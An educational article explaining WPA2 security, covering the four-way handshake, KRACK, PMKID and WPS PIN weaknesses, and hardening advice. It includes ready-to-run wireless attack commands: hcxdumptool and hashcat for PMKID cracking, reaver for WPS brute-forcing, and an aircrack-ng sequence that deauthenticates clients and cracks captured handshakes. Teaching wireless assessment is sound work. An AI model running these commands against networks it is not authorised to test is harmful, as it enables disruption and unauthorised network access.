GO KALI FREE
AdvancedWireless Security

WPA2 Explained: Security Protocols and Vulnerabilities

An in-depth technical analysis of WPA2 wireless security protocol covering the four-way handshake, CCMP/AES encryption, known vulnerabilities including KRACK, and defensive configurations.

#WPA2#Wireless Security#WiFi#KRACK#CCMP

The Legacy Standard in Wireless Encryption

Wi-Fi Protected Access 2 (WPA2) is a security protocol ratified in 2004 as IEEE 802.11i. It replaced WEP and WPA, introducing mandatory AES encryption and CCMP as the core of its security architecture. For over a decade, WPA2 was the gold standard for WiFi security, deployed on billions of devices worldwide. Despite its architectural strength, WPA2 has known protocol-level vulnerabilities that security professionals must understand.

Prerequisites

  • **WiFi Security Basics** — Wireless protocols and 802.11 frames
  • **Networking Basics** — TCP/IP and encryption fundamentals
  • WPA2 Architecture

    WPA2-Personal (PSK)

    Uses a single passphrase (8-63 characters) shared among devices. The passphrase derives the Pairwise Master Key (PMK).

    WPA2-Enterprise (802.1X)

    Uses a RADIUS server for centralized authentication with unique user credentials via EAP.

    The Four-Way Handshake

    Message 1: AP → Client (ANonce)
    Message 2: Client → AP (SNonce + MIC)
    Message 3: AP → Client (GTK encrypted + MIC)
    Message 4: Client → AP (Acknowledgement)
    

    The handshake proves both parties know the PSK without transmitting it and establishes unique session keys.

    WPA2 Vulnerabilities

    KRACK Attack (2017)

    Exploits the four-way handshake by forcing nonce reuse through retransmitted Message 3. Allows attackers to decrypt and forge packets. Client-side vulnerability patched in all major operating systems.

    PMKID Attack

    Exploits the RSN IE included in some APs' first EAPOL frame, eliminating the need to capture a full handshake.

    hcxdumptool -o capture.pcapng -i wlan0 --enable_status
    hcxpcaptool -z pmkidhash.16800 capture.pcapng
    hashcat -m 16800 pmkidhash.16800 /usr/share/wordlists/rockyou.txt
    

    WPS PIN Attack

    The 8-digit WPS PIN validates in two halves (first 4, then 3 digits), reducing the search space to approximately 11,000 attempts.

    reaver -i wlan0mon -b AP_MAC -vv
    

    Capturing and Cracking WPA2

    # Enable monitor mode
    airmon-ng start wlan0
    
    # Capture on target channel
    airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
    
    # Deauth client to force handshake
    aireplay-ng -0 2 -a AP_MAC -c CLIENT_MAC wlan0mon
    
    # Crack the handshake
    aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
    

    Common Mistakes

  • Using short or dictionary-word passphrases
  • Leaving WPS enabled on routers
  • Assuming WPA2 is unbreakable
  • Failing to patch client devices for KRACK
  • Best Practices

  • Use **WPA3** where hardware supports it
  • Set **WPA2-PSK passphrases** to 14+ random characters
  • **Disable WPS** on all APs
  • Enable **802.11w (PMF)** where supported
  • Use **WPA2-Enterprise** for organizational networks
  • Related Tools

  • **Aircrack-ng** — Wireless testing suite
  • **hcxdumptool** — PMKID capture
  • **hashcat** — GPU-accelerated cracking
  • **Reaver** — WPS PIN attack
  • Related Articles

  • Aircrack-ng Guide: Complete Wireless Security Assessment
  • WiFi Security Basics: Protecting Wireless Networks
  • WPA3 Explained: Next-Generation WiFi Security
  • Wireless Reconnaissance: Discovering WiFi Networks
  • Summary

    WPA2's AES-CCMP encryption provides strong confidentiality, but vulnerabilities including KRACK, PMKID attacks, and WPS PIN attacks show it is not impenetrable. Understanding the four-way handshake, key hierarchy, and attack techniques is essential for wireless security assessment. Migration to WPA3 is strongly recommended.

    Knowledge Check

  • What are the two WPA2 authentication modes?
  • How does the four-way handshake establish keys?
  • What vulnerability does KRACK exploit?
  • How does PMKID differ from traditional WPA2 cracking?
  • Frequently Asked Questions

    What is WPA2 and how does it work?

    WPA2 (Wi-Fi Protected Access 2) is a WiFi security protocol ratified in 2004 as IEEE 802.11i. It uses AES-CCMP encryption and the four-way handshake to establish encrypted sessions between clients and access points, replacing the vulnerable WEP and WPA standards.

    What are the two WPA2 authentication modes?

    WPA2-Personal (PSK) uses a shared passphrase for all devices, suitable for home networks. WPA2-Enterprise (802.1X) uses a RADIUS server for centralized authentication with unique user credentials, suitable for organizational deployments.

    How does the four-way handshake establish encryption keys?

    The handshake exchanges nonces between client and AP to derive unique session keys. Message 1 sends the AP's ANonce, Message 2 returns the client's SNonce, Message 3 distributes the Group Temporal Key, and Message 4 confirms installation — all without transmitting the PSK.

    What is the KRACK attack and is it still a threat?

    KRACK (Key Reinstallation Attack) exploits the four-way handshake by forcing nonce reuse through retransmitted Message 3, allowing packet decryption and forging. It was patched in all major operating systems, but unpatched devices remain vulnerable.

    What is a PMKID attack and how is it different from handshake cracking?

    PMKID attacks exploit the RSN IE in some APs' first EAPOL frame, eliminating the need to capture a full four-way handshake or wait for client connections. This allows offline password cracking with just a single frame from the AP.

    How does WPS PIN attack reduce WiFi security?

    WPS validates its 8-digit PIN in two halves (4+3 digits), reducing the keyspace from 100 million to approximately 11,000 attempts. An attacker can brute-force the PIN and recover the WPA2 passphrase regardless of its complexity.

    What makes WPA2 passphrases vulnerable to offline cracking?

    WPA2-PSK uses PBKDF2 with only 4096 iterations to derive the PMK from the passphrase. This relatively low iteration count allows attackers to test billions of passphrase candidates per second using GPUs, making weak passphrases quickly crackable.

    Should I still use WPA2 or migrate to WPA3?

    Migrate to WPA3 where hardware supports it. WPA2 remains functional but has known vulnerabilities (KRACK, PMKID, WPS) that WPA3 addresses. Use WPA2 with 14+ character random passphrases and WPS disabled as an interim measure.

    What is 802.11w (PMF) and why does it matter for WPA2?

    Protected Management Frames (PMF) prevent deauthentication and disassociation attacks by authenticating 802.11 management frames. Without PMF, attackers can forcibly disconnect clients to capture handshakes or disrupt connectivity.

    How do you capture and crack a WPA2 handshake?

    Enable monitor mode with airmon-ng, capture traffic with airodump-ng targeting the AP's BSSID and channel, use aireplay-ng to deauth a client forcing reassociation, then crack the captured handshake with aircrack-ng or hashcat using a wordlist.

    Why is WPA2-Enterprise more secure than WPA2-Personal?

    WPA2-Enterprise authenticates each user individually against a RADIUS server with unique credentials. Compromising one user's credentials does not expose the entire network, unlike PSK mode where the same passphrase secures all devices.

    What role does password length play in WPA2 security?

    WPA2 security depends heavily on passphrase length and complexity. Passphrases of 14+ random characters are computationally infeasible to crack offline. Short or dictionary-word passphrases fall quickly to GPU-accelerated attacks regardless of other security measures.